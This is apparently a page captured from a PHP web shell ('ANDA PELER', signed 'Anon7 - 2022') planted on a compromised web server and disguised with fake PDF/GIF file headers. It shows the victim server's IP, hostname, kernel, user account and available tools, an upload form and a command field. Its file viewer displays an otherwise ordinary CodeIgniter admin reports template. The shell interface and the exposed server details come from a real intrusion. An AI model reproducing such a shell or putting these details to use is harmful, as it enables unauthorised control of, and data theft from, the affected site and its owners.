%PDF-1.7 GIF89;
ANDA PELER
Server IP : 5.161.254.237  /  Your IP : 216.73.216.30
Web Server : Apache
System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : stellasp ( 1131)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/stellasp/www/application/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/stellasp/www/application/views/admin/reports.php
<?php require('header.php'); ?>
<h2 style="margin:0px 0px 8px 0px; padding:0px;"><?php echo 'Best City';?></h2>
<div id="best_sellers_form" style="margin-bottom:10px">
	<?php //echo lang('from');?> <input class="gc_tf1" type="hidden"  id="best_sellers_start"/>
		 <input type="hidden" name="best_sellers_start" id="best_sellers_start_alt" /> 
	<?php //echo lang('to');?> <input class="gc_tf1" type="hidden" id="best_sellers_end"/>
		<input type="hidden" name="best_sellers_end" id="best_sellers_end_alt" />
        
        <?php echo 'City';?> <input class="gc_tf1" type="text" id="best_sellers_citys"/> 
	<input type="button" value="Get Best Sellers" onclick="get_best_sellers_city()"/>
</div>

<div id="best_sellers_city">
	
</div>




<h2 style="margin:30px 0px 8px 0px; padding:0px;"><?php echo lang('sales');?></h2>
<div id="sales_container">
	
</div>


<script type="text/javascript">

$(document).ready(function(){
	get_best_sellers_city();
	get_best_sellers();
	get_sales();
	$('input:button').button();
	$('#best_sellers_start').datepicker({ dateFormat: 'mm-dd-yy', altField: '#best_sellers_start_alt', altFormat: 'yy-mm-dd' });
	$('#best_sellers_end').datepicker({ dateFormat: 'mm-dd-yy', altField: '#best_sellers_end_alt', altFormat: 'yy-mm-dd' });
});


function get_best_sellers_city()
{
	$.post('<?php echo site_url($this->config->item('admin_folder').'/reports/best_sellers_city');?>',{start:$('#best_sellers_start').val(), end:$('#best_sellers_end').val(), city:$('#best_sellers_citys').val()}, function(data){
		
		$('#best_sellers_city').html(data);
	});
}

function get_best_sellers()
{
	$.post('<?php echo site_url($this->config->item('admin_folder').'/reports/best_sellers');?>',{start:$('#best_sellers_start').val(), end:$('#best_sellers_end').val()}, function(data){
		$('#best_sellers').html(data);
	});
}

function get_sales()
{
	$.post('<?php echo site_url($this->config->item('admin_folder').'/reports/sales');?>',{bah:Math.floor(Math.random( )*9999999999)}, function(data){
		$('#sales_container').html(data);
	});
}
</script>
<?php include('footer.php'); ?>

Anon7 - 2022
SCDN GOK